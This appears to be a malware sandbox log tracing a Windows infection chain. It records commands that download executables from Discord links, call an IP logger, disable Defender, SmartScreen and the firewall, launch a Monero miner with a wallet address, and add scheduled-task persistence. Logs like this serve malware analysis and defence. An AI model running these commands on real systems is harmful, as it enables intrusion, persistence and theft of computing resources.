C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gztEnAmAG" /SC once /ST 13:07:44 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="11⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gztEnAmAG"11⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gztEnAmAG"11⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bRciptYQhTCMvEFWGJ" /SC once /ST 19:22:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\iXkrQovqyvDrylo\ETrMnuP.exe\" W8 /site_id 668658 /S" /V1 /F11⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Documents\yWy4zcxX8uNYsYYtML4kMQg2.exe"C:\Users\Admin\Documents\yWy4zcxX8uNYsYYtML4kMQg2.exe"8⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Documents\TaPKsxABgNjR_Fju4KwHDHYZ.exe"C:\Users\Admin\Documents\TaPKsxABgNjR_Fju4KwHDHYZ.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
-
C:\Users\Admin\Documents\1lV1DgnqBVe9vvf4JkEMb_u0.exe"C:\Users\Admin\Documents\1lV1DgnqBVe9vvf4JkEMb_u0.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\1lV1DgnqBVe9vvf4JkEMb_u0.exe"C:\Users\Admin\Documents\1lV1DgnqBVe9vvf4JkEMb_u0.exe"7⤵
-
C:\Users\Admin\Documents\D0j0LOvToAl718BUsKdPhSqp.exe"C:\Users\Admin\Documents\D0j0LOvToAl718BUsKdPhSqp.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2664 -s 8767⤵
- Program crash
-
C:\Users\Admin\Documents\hxL1uiwf_9XiVIhQmunGkOHY.exe"C:\Users\Admin\Documents\hxL1uiwf_9XiVIhQmunGkOHY.exe"6⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\B01C.tmp\B01D.tmp\B01E.bat C:\Users\Admin\Documents\hxL1uiwf_9XiVIhQmunGkOHY.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\B01C.tmp\B01D.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\B01C.tmp\B01D.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/888411325196304386/888744744606396426/zJORGHtr.exe" "zJORGHtr.exe" "" "" "" "" "" ""8⤵
-
C:\Users\Admin\AppData\Local\Temp\B01C.tmp\B01D.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\B01C.tmp\B01D.tmp\extd.exe "" "" "" "" "" "" "" "" ""8⤵
-
C:\Users\Admin\AppData\Local\Temp\13757\zJORGHtr.exezJORGHtr.exe8⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\8FFF.tmp\9000.tmp\9001.bat C:\Users\Admin\AppData\Local\Temp\13757\zJORGHtr.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\8FFF.tmp\9000.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\8FFF.tmp\9000.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/880498551011049495/883407469894856764/33.exe" "33.exe" "" "" "" "" "" ""10⤵
-
C:\Users\Admin\AppData\Local\Temp\8FFF.tmp\9000.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\8FFF.tmp\9000.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/888411325196304386/888735541456142367/zJORGHtr.exe" "zJORGHtr.exe" "" "" "" "" "" ""10⤵
-
C:\Users\Admin\AppData\Local\Temp\8FFF.tmp\9000.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\8FFF.tmp\9000.tmp\extd.exe "" "" "" "" "" "" "" "" ""10⤵
-
C:\Users\Admin\AppData\Local\Temp\13946\zJORGHtr.exezJORGHtr.exe10⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
-
C:\Users\Admin\AppData\Local\Temp\fl.exe"C:\Users\Admin\AppData\Local\Temp\fl.exe"11⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(exit)12⤵
-
C:\ProgramData\Systemd\dllhoster.exe-o pool.supportxmr.com:5555 -u 44z5DkTXSYBfYECbt5TdQ2SUpyAQJmmGubyUsWqzcByeKwxwsWSZabZQMuE39hedNcTL15eK8kHrAeZMUdGGmHQHBzNH5db -p bloodteam --coin=XMR --cpu-max-threads-hint=3512⤵
-
C:\Users\Admin\Documents\qLr41EcpmyRKMfcPAX1J1OqD.exe"C:\Users\Admin\Documents\qLr41EcpmyRKMfcPAX1J1OqD.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies system certificate store
-
C:\Users\Admin\Documents\wX9Z08JvLKXH_a1sR8VDWgU6.exe"C:\Users\Admin\Documents\wX9Z08JvLKXH_a1sR8VDWgU6.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "wX9Z08JvLKXH_a1sR8VDWgU6.exe" /f & erase "C:\Users\Admin\Documents\wX9Z08JvLKXH_a1sR8VDWgU6.exe" & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "wX9Z08JvLKXH_a1sR8VDWgU6.exe" /f8⤵
- Kills process with taskkill
-
C:\Users\Admin\Documents\ReZ_3mUER5ywjH6d3zDg8riP.exe"C:\Users\Admin\Documents\ReZ_3mUER5ywjH6d3zDg8riP.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\uOo7TW4z9cEDX79EH6v9OFkV.exe"C:\Users\Admin\Documents\uOo7TW4z9cEDX79EH6v9OFkV.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\Y726xQOY5xR4nsugiRimhXWX.exe"C:\Users\Admin\Documents\Y726xQOY5xR4nsugiRimhXWX.exe"6⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
-
C:\Users\Admin\Documents\hHSZM508406nErtz9ZrWSiB9.exe"C:\Users\Admin\Documents\hHSZM508406nErtz9ZrWSiB9.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\hK03xMBPYapena00zv0k64rv.exe"C:\Users\Admin\Documents\hK03xMBPYapena00zv0k64rv.exe"6⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Program Files (x86)\Company\NewProduct\cm3.exe"C:\Program Files (x86)\Company\NewProduct\cm3.exe"7⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"7⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Program Files (x86)\Company\NewProduct\inst001.exe"C:\Program Files (x86)\Company\NewProduct\inst001.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\CFVJitXoDpuO7fK3CXAbOcHB.exe"C:\Users\Admin\Documents\CFVJitXoDpuO7fK3CXAbOcHB.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c start "" "f.exe" & start "" "wwi.exe" & start "" "wwl.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1aX5d7"7⤵
-
C:\Users\Admin\AppData\Local\Temp\f.exe"f.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\wwi.exe"wwi.exe"8⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command "Invoke-WebRequest -Uri https://iplogger.org/1aX5d7"8⤵
-
C:\Users\Admin\AppData\Local\Temp\wwl.exe"wwl.exe"8⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\akOWiWb7EaeDcjdm2Nsay_IT.exe"C:\Users\Admin\Documents\akOWiWb7EaeDcjdm2Nsay_IT.exe"6⤵
-
C:\Users\Admin\Documents\akOWiWb7EaeDcjdm2Nsay_IT.exeC:\Users\Admin\Documents\akOWiWb7EaeDcjdm2Nsay_IT.exe7⤵
-
C:\Users\Admin\Documents\YwNsx6EVM5XbR6H9EfWoFH4n.exe"C:\Users\Admin\Documents\YwNsx6EVM5XbR6H9EfWoFH4n.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\nJ6nGHV_0xpA1aGr8outb2hi.exe"C:\Users\Admin\Documents\nJ6nGHV_0xpA1aGr8outb2hi.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\vOpD2QROoTK7sGeNro7piUvm.exe"C:\Users\Admin\Documents\vOpD2QROoTK7sGeNro7piUvm.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\IiFyzwKYwCn3E1hNOlCm1ong.exe"C:\Users\Admin\Documents\IiFyzwKYwCn3E1hNOlCm1ong.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1724 -s 8566⤵
- Program crash
-
C:\Users\Admin\Documents\sRcNg6nI517ZSCYvL8ZU_Faz.exe"C:\Users\Admin\Documents\sRcNg6nI517ZSCYvL8ZU_Faz.exe"6⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\sRcNg6nI517ZSCYvL8ZU_Faz.exe"C:\Users\Admin\Documents\sRcNg6nI517ZSCYvL8ZU_Faz.exe"7⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed221ce23cd2c4a6.exe4⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zS40310AE2\Wed221ce23cd2c4a6.exeWed221ce23cd2c4a6.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-C8OFJ.tmp\Wed221ce23cd2c4a6.tmp"C:\Users\Admin\AppData\Local\Temp\is-C8OFJ.tmp\Wed221ce23cd2c4a6.tmp" /SL5="$6001C,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS40310AE2\Wed221ce23cd2c4a6.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-4V867.tmp\___YHDG34.exe"C:\Users\Admin\AppData\Local\Temp\is-4V867.tmp\___YHDG34.exe" /S /UID=burnerch27⤵
-
C:\Program Files\Internet Explorer\DXSEHNTHEQ\ultramediaburner.exe"C:\Program Files\Internet Explorer\DXSEHNTHEQ\ultramediaburner.exe" /VERYSILENT8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-73B24.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-73B24.tmp\ultramediaburner.tmp" /SL5="$401C4,281924,62464,C:\Program Files\Internet Explorer\DXSEHNTHEQ\ultramediaburner.exe" /VERYSILENT9⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu10⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\74-daf28-0b1-231b3-1e683086dc79c\Bufodukuho.exe"C:\Users\Admin\AppData\Local\Temp\74-daf28-0b1-231b3-1e683086dc79c\Bufodukuho.exe"8⤵
- Executes dropped EXE
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e69⤵
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4544 CREDAT:275457 /prefetch:210⤵
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4544 CREDAT:2307082 /prefetch:210⤵
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4544 CREDAT:2110489 /prefetch:210⤵
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad9⤵
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:6352 CREDAT:275457 /prefetch:210⤵
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=18514839⤵
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:5076 CREDAT:275457 /prefetch:210⤵
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=18515139⤵
-
C:\Users\Admin\AppData\Local\Temp\a2-9467e-989-35d8a-e125954b45fd8\Gitocygepa.exe"C:\Users\Admin\AppData\Local\Temp\a2-9467e-989-35d8a-e125954b45fd8\Gitocygepa.exe"8⤵
- Executes dropped EXE
- Modifies system certificate store
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ja25eck5.ilm\GcleanerEU.exe /eufive & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\ja25eck5.ilm\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\ja25eck5.ilm\GcleanerEU.exe /eufive10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "GcleanerEU.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\ja25eck5.ilm\GcleanerEU.exe" & exit11⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "GcleanerEU.exe" /f12⤵
- Kills process with taskkill
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rivoiwqv.s0o\installer.exe /qn CAMPAIGN="654" & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\rivoiwqv.s0o\installer.exeC:\Users\Admin\AppData\Local\Temp\rivoiwqv.s0o\installer.exe /qn CAMPAIGN="654"10⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\rivoiwqv.s0o\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\rivoiwqv.s0o\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1631992392 /qn CAMPAIGN=""654"" " CAMPAIGN="654"11⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zkj4y1xr.adu\anyname.exe & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\zkj4y1xr.adu\anyname.exeC:\Users\Admin\AppData\Local\Temp\zkj4y1xr.adu\anyname.exe10⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\agg4oy5b.htj\gcleaner.exe /mixfive & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\agg4oy5b.htj\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\agg4oy5b.htj\gcleaner.exe /mixfive10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "gcleaner.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\agg4oy5b.htj\gcleaner.exe" & exit11⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "gcleaner.exe" /f12⤵
- Kills process with taskkill
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\dycuzj55.3nx\autosubplayer.exe /S & exit9⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed222a0abb0f39640f.exe4⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zS40310AE2\Wed222a0abb0f39640f.exeWed222a0abb0f39640f.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1144 -s 9566⤵
- Loads dropped DLL
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed226b6e8b18c18b003.exe4⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zS40310AE2\Wed226b6e8b18c18b003.exeWed226b6e8b18c18b003.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed224b216a9b264.exe4⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zS40310AE2\Wed224b216a9b264.exeWed224b216a9b264.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed22d29285f2462824d.exe /mixone4⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zS40310AE2\Wed22d29285f2462824d.exeWed22d29285f2462824d.exe /mixone5⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "Wed22d29285f2462824d.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS40310AE2\Wed22d29285f2462824d.exe" & exit6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "Wed22d29285f2462824d.exe" /f7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-920947111-2077010786-1261284330-1877631779-18969531915346694802018653965-1351426118"1⤵
-
C:\Users\Admin\AppData\Local\Temp\B01C.tmp\B01D.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\B01C.tmp\B01D.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/880498551011049495/883407469894856764/33.exe" "33.exe" "" "" "" "" "" ""1⤵
-
C:\Users\Admin\AppData\Local\Temp\2AB7.exeC:\Users\Admin\AppData\Local\Temp\2AB7.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\9EA0.exeC:\Users\Admin\AppData\Local\Temp\9EA0.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\9EA0.exeC:\Users\Admin\AppData\Local\Temp\9EA0.exe2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\a301a082-033f-4407-b9b2-2d3b021c0db4" /deny *S-1-1-0:(OI)(CI)(DE,DC)3⤵
- Modifies file permissions
-
C:\Users\Admin\AppData\Local\Temp\9EA0.exe"C:\Users\Admin\AppData\Local\Temp\9EA0.exe" --Admin IsNotAutoStart IsNotTask3⤵
-
C:\Users\Admin\AppData\Local\Temp\9EA0.exe"C:\Users\Admin\AppData\Local\Temp\9EA0.exe" --Admin IsNotAutoStart IsNotTask4⤵
-
C:\Users\Admin\AppData\Local\48d07111-712c-4745-849e-34d09babe69e\build2.exe"C:\Users\Admin\AppData\Local\48d07111-712c-4745-849e-34d09babe69e\build2.exe"5⤵
-
C:\Users\Admin\AppData\Local\48d07111-712c-4745-849e-34d09babe69e\build2.exe"C:\Users\Admin\AppData\Local\48d07111-712c-4745-849e-34d09babe69e\build2.exe"6⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5116 -s 8327⤵
- Program crash
-
C:\Users\Admin\AppData\Local\48d07111-712c-4745-849e-34d09babe69e\build3.exe"C:\Users\Admin\AppData\Local\48d07111-712c-4745-849e-34d09babe69e\build3.exe"5⤵
-
C:\Users\Admin\AppData\Local\48d07111-712c-4745-849e-34d09babe69e\build3.exe"C:\Users\Admin\AppData\Local\48d07111-712c-4745-849e-34d09babe69e\build3.exe"6⤵
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"7⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\1BAC.exeC:\Users\Admin\AppData\Local\Temp\1BAC.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\50E0.exeC:\Users\Admin\AppData\Local\Temp\50E0.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\50E0.exeC:\Users\Admin\AppData\Local\Temp\50E0.exe2⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1340832201994689538-46803871735426806-1343651345-1617315922-1809132902-185166367"1⤵
-
C:\Users\Admin\AppData\Local\Temp\B3D8.exeC:\Users\Admin\AppData\Local\Temp\B3D8.exe1⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\B3D8.exe"2⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK3⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\Temp\AFF1.exeC:\Users\Admin\AppData\Local\Temp\AFF1.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\AFF1.exeC:\Users\Admin\AppData\Local\Temp\AFF1.exe2⤵
-
C:\Windows\system32\taskeng.exetaskeng.exe {66718193-AA16-46DE-A5BF-BC8DF9C1E073} S-1-5-21-2375386074-2889020035-839874990-1000:AFOWCZMM\Admin:Interactive:[1]1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\rfidabeC:\Users\Admin\AppData\Roaming\rfidabe2⤵
-
C:\Users\Admin\AppData\Roaming\rfidabeC:\Users\Admin\AppData\Roaming\rfidabe3⤵
-
C:\Users\Admin\AppData\Roaming\jgidabeC:\Users\Admin\AppData\Roaming\jgidabe2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"4⤵
- Creates scheduled task(s)
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Users\Admin\AppData\Roaming\rfidabeC:\Users\Admin\AppData\Roaming\rfidabe2⤵
-
C:\Users\Admin\AppData\Roaming\rfidabeC:\Users\Admin\AppData\Roaming\rfidabe3⤵
-
C:\Users\Admin\AppData\Local\a301a082-033f-4407-b9b2-2d3b021c0db4\9EA0.exeC:\Users\Admin\AppData\Local\a301a082-033f-4407-b9b2-2d3b021c0db4\9EA0.exe --Task2⤵
-
C:\Users\Admin\AppData\Local\a301a082-033f-4407-b9b2-2d3b021c0db4\9EA0.exeC:\Users\Admin\AppData\Local\a301a082-033f-4407-b9b2-2d3b021c0db4\9EA0.exe --Task3⤵
-
C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\RVFpUhoi\VQhpSjb.exeC:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\RVFpUhoi\VQhpSjb.exe 3L /S2⤵
-
C:\Users\Admin\AppData\Local\Temp\9330.exeC:\Users\Admin\AppData\Local\Temp\9330.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\E778.exeC:\Users\Admin\AppData\Local\Temp\E778.exe1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "512572943626156006240221415243084903-1602323834-156282761-1180293417-2146375662"1⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
C:\Users\Admin\AppData\Local\Temp\CAA6.exeC:\Users\Admin\AppData\Local\Temp\CAA6.exe1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\thwpyjvh\2⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True3⤵
-
